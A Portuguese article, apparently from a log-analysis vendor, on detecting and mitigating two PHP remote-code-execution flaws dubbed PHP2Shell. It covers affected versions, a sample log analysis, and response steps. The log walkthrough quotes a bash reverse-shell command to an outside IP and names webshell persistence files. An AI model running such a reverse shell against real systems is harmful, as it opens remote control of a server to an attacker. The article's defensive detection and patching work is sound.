A detecção de PHP2Shell é importante porque o intervalo entre um patch e uma exploração no mundo real pode ser de um único dia. PHP2Shell é o nome de duas falhas de execução remota de código não autenticadas no núcleo do PHP, CVE-2026-109618 e CVE-2026-109619, ambas classificadas como CVSS v4.0 9.2. Não é necessária autenticação, portanto, qualquer aplicação PHP exposta em uma versão não atualizada é um alvo. No exemplo abaixo, a exploração se manifesta como uma falha do trabalhador do PHP seguida pela execução de comandos como o usuário do servidor web.
Este artigo aborda a detecção de PHP2Shell usando uma amostra de log analisada no LogTotal, uma ferramenta de análise de logs que corresponde eventos a ameaças conhecidas. Abaixo, explicamos o contexto da vulnerabilidade, de onde vieram os logs, o que o LogTotal encontrou e como responder.
Análise do PHP2Shell
Ambas as falhas do PHP2Shell pontuam 9.2 sob o CVSS v4.0, e ambas podem ser acessadas sem autenticação em qualquer instalação de PHP que atenda a solicitações web. Para ler corretamente a amostra do log, ajuda saber como cada bug funciona, quão rapidamente a divulgação ocorreu e quais instalações estão expostas.
Detalhes da vulnerabilidade do PHP2Shell
Os dois CVEs são bugs separados de segurança de memória em como o PHP lida com uma solicitação. Qualquer um deles permite que um invasor execute código como o usuário do servidor web.
- CVE-2026-109618, corrupção de memória insuficiente. Quando o PHP fica sem memória durante a configuração de uma solicitação, os dados internos ficam incompletos, e o código de limpeza então os considera confiáveis.
- CVE-2026-109619, estado global obsoleto. O estado interno sobrevive à memória de solicitação à qual se refere, então a próxima solicitação que o mesmo trabalhador assume pode agir sobre os dados remanescentes.
É por isso que a exploração aparece como erros de “Memória permitida do PHP… esgotada” e falhas de trabalhadores do PHP. Scanners públicos PHP2Shell procuram os mesmos sinais.
Cronograma de divulgação e exploração
| Data (2026) | Evento |
| 26 de outubro | CISA adicionou CVE-2026-109618 ao seu catálogo KEV |
| 22 de outubro | Exploração nesta amostra registrada em web-prod-01 |
| 21 de outubro | PHP publicou versões corrigidas; watchTowr observou exploração na natureza |
| 20 de outubro | Detalhes vazaram nas redes sociais antes da divulgação planejada para 22 de outubro; PHP anunciou um lançamento de emergência |
Pesquisadores na Calif descobriram as falhas e as relataram ao PHP. O vazamento é o motivo pelo qual a cadeia do LogTotal é intitulada “Vulnerabilidades Críticas PHP Vazada.” Código PoC público e frameworks de exploração apareceram no GitHub em poucos dias, e uma caixa de ferramentas de pesquisa relata execução de comando verificada como www-data em builds do PHP 7.4 a 8.4 abaixo das versões corrigidas.
Quais sistemas PHP2Shell afeta
PHP lista cada versão antes de 8.5.12, 8.4.27, 8.3.36 e 8.2.35 como vulneráveis, e também ramos mais antigos.
| Ramo do PHP | Afetado | Fix |
| 8.5.x | Abaixo de 8.5.12 | 8.5.12 |
| 8.4.x | Abaixo de 8.4.27 | 8.4.27 |
| 8.3.x | Abaixo de 8.3.36 | 8.3.36 |
| 8.2.x | Abaixo de 8.2.35 | 8.2.35 |
| 7.4, 8.0, 8.1 | Todas as versões | Sem lançamento oficial; use um pacote de distribuição ou de fornecedor LTS, backports mínimos do PHP, ou faça o upgrade |
| 7.3 e mais antigas, incluindo PHP 5 | Todas as versões | Sem correção; faça o upgrade para um ramo suportado |
Toda instalação de PHP que atenda pedidos web está em escopo, seja ela executada sob PHP-FPM, Apache mod_php, php-cgi, LiteSpeed, ou FrankenPHP. O PHP classifica o risco como mais alto para Apache mod_php, onde um ataque pode ter sucesso antes que qualquer código de aplicação seja executado.
Fonte e coleta de logs
| Atributo | Valor |
| Arquivo | PHP2Shell_sample.jsonl |
| Eventos | 6 |
| Host | web-prod-01 (servidor web Linux de produção) |
| Janela de tempo | 22 de outubro de 2026, 11:31:30 a 11:31:33 UTC (três segundos) |
| Esquema | Estilo ECS (@timestamp, event, host, process, file, user) |
O arquivo mescla duas fontes em um único esquema:
- 2 linhas de texto simples do tempo de execução do PHP e o log de erro do PHP-FPM
- 4 eventos (arquivo e processo), normalizados para ECS
A mistura é típica do que chega a um SIEM na prática: logs de erros de aplicativos ao lado de telemetria EDR.
Detectar PHP2Shell
LogTotal processou 6 linhas em 4.2 segundos, comparou 9 regras contra 4 linhas e formou uma cadeia em web-prod-01: PHP2Shell, Vulnerabilidades Críticas PHP Vazadas (CVE-2026-109618 & CVE-2026-109619), Crítico, 100% de correspondência, 3 regras acionadas.
| Campo de veredicto | Resultado |
| Veredicto | Suspeito, requer investigação |
| Gravidade | Crítico |
| Confiança | Médio |
Como a cadeia PHP2Shell se desenrola
A cadeia segue a exploração em três etapas, todas em três segundos.
- Falha. A regra “Possível Tentativa de Exploração CVE-2026-109618 / CVE-2026-109619 – Esgotamento de Memória do PHP / Falha de Trabalhador do PHP” correspondeu a um erro fatal de PHP “Tamanho de Memória Permitido … esgotado” e a um filho PHP-FPM 1201 morrendo por SIGSEGV. Estes são os mesmos sinais de falha que scanners públicos PHP2Shell procuram.
- Shell do trabalhador web. “Possível Trabalhador PHP Gerando Processo Incomum” e “Shell Suspeito via Servidor Web [Linux]” capturaram php-fpm, executando como www-data, gerando sh -c bash /dev/shm/.s. O script foi montado na RAM suportada /dev/shm.
- Shell reverso. “Possível Exfiltração de Dados / Shell Reverso via Bash” correspondeu a bash -i >& /dev/tcp/198.51.100.23/4444 0>&1. Fora da cadeia, mais quatro regras atingiram o mesmo comando, liderado por um Indicador de Shell Reverso Linux (Crítico).
Usando descobertas do LogTotal na triagem do PHP2Shell
A cadeia fornece a ordem dos eventos e a gravidade em uma tela. Os eventos brutos fornecem os IOCs para bloquear e a persistência para remover. Use ambos: confirme os três passos da cadeia, depois reveja os eventos de arquivo e linhas de comando para IOCs e persistência.
Mitigação de PHP2Shell
A solução definitiva para PHP2Shell é um lançamento corrigido do PHP, e o PHP afirma que nenhuma mudança de configuração mitiga totalmente essas falhas. Em um servidor que já foi explorado, simplesmente aplicar patches não é suficiente: o webshell e .user.ini persistem em uma atualização do PHP.
Corrija toda a instalação de PHP
- Faça o inventário de cada servidor e aplicação que executa PHP, começando com sistemas voltados para a internet e qualquer servidor que execute PHP como um módulo Apache.
- Atualize cada instalação para 8.5.12, 8.4.27, 8.3.36, ou 8.2.35, correspondente ao seu ramo. As distribuições Linux receberam os patches antes do lançamento, então verifique por pacotes de distribuição atualizados.
- Reinicie cada trabalhador do PHP para que a correção tenha efeito.
- Para PHP 7.4, 8.0 e 8.1, use um pacote de distribuição ou de fornecedor LTS ou backports mínimos do PHP, ou faça o upgrade. PHP 7.3 e anteriores não têm correção.
- Restrinja o acesso à internet de qualquer sistema PHP que não puder ser atualizado imediatamente.
Revisores da comunidade também relatam CVE-2026-115560, um vetor separado, dependente de configuração e relacionado a upload-progress de sessão, coberto por um comunicado informativo do PHP em 23 de outubro de 2026. Não faz parte do PHP2Shell e foi deixado para uma versão posterior; a recomendação provisória é session.upload_progress.enabled = 0.
Resposta recomendada do LogTotal
- Isole web-prod-01.
- Preserve seus logs web, do sistema e da rede.
- Investigue o destino do shell reverso.
- Verifique a versão e o patch do PHP.
- Alerta para futuras falhas de trabalhadores PHP e spawns de shell.
Etapas adicionais a partir das evidências brutas
- Bloquear saída para 198.51.100.23:4444.
- Preserve as evidências antes da limpeza: copiar uploads/.cache.php, .user.ini, e /dev/shm/.s. Arquivos em /dev/shm são perdidos ao reiniciar.
- Remova a persistência. Delete a diretiva auto_prepend_file, ou, melhor, reconstrua o host em uma versão corrigida do PHP.
- Gire todos os segredos que www-data pode ler, como credenciais de banco de dados e chaves de API em configuração de aplicação.
- Procure na frota web :
- arquivos .user.ini contendo auto_prepend_file
- arquivos PHP ocultos em pastas de upload
- shells gerados por php-fpm, php-cgi, apache2 ou httpd
Monitoramento contínuo do PHP2Shell
Mantenha logs de erro do PHP e do PHP-FPM fluindo para seu SIEM junto com a telemetria EDR. Nesta amostra, as linhas de falha foram o primeiro sinal e os eventos de arquivo EDR mantiveram a persistência. Qualquer fonte sozinha contaria apenas metade da história.
FAQ
O que é PHP2Shell e como funciona?
PHP2Shell são duas falhas de execução remota de código não autenticadas no núcleo do PHP: CVE-2026-109618 (corrupção de memória insuficiente) e CVE-2026-109619 (estado global obsoleto), ambas classificadas como CVSS v4.0 9.2. Qualquer uma delas permite que um invasor execute código como o usuário do servidor web. A seção de análise acima explica como cada uma funciona.
Quando PHP2Shell foi descoberto pela primeira vez?
Pesquisadores na Calif relataram as falhas ao PHP. Detalhes vazaram em 20 de outubro de 2026, e o PHP lançou correções em 21 de outubro, um dia antes da divulgação planejada.
Quais versões do PHP são afetadas pelo PHP2Shell?
Cada versão anterior a 8.5.12, 8.4.27, 8.3.36 e 8.2.35, além de todas as versões 7.4, 8.0, 8.1 e ramos antigos, incluindo PHP 5. Qualquer instalação de PHP que atende solicitações web está no escopo, com Apache mod_php no risco mais alto.
Qual é o impacto do PHP2Shell nos sistemas?
Um invasor não autenticado pode executar código como o usuário do servidor web. Neste exemplo, isso levou a um shell reverso para 198.51.100.23:4444 e um webshell oculto carregado em cada solicitação PHP através de .user.ini. Qualquer segredo legível por www-data deve ser tratado como exposto.
O PHP2Shell ainda pode me afetar em 2026?
Sim. O PHP2Shell é explorado na natureza e listado no catálogo KEV da CISA. Servidores não corrigidos, ramos de fim de vida sem backport e servidores comprometidos cuja persistência do webshell nunca foi removida continuam em risco.
Como posso me proteger do PHP2Shell?
Atualize para uma versão corrigida do PHP e reinicie cada trabalhador PHP; nenhuma mudança de configuração mitiga completamente o PHP2Shell. Depois, restrinja a saída do servidor web, gire segredos legíveis pelo usuário web e audite pastas de upload e arquivos .user.ini para persistência. A seção de mitigação lista todas as etapas.
Como posso detectar o PHP2Shell?
Colete logs de erro do PHP e do PHP-FPM junto com eventos de processo e arquivo EDR. Alerta sobre exaustão de memória do PHP e falhas de trabalhadores, shells gerados por php-fpm, php-cgi, apache2 ou httpd, e novos arquivos .user.ini com auto_prepend_file. Executar uma exportação pelo LogTotal mapeia esses eventos para a cadeia do PHP2Shell e mostra a ordem do ataque em uma visão.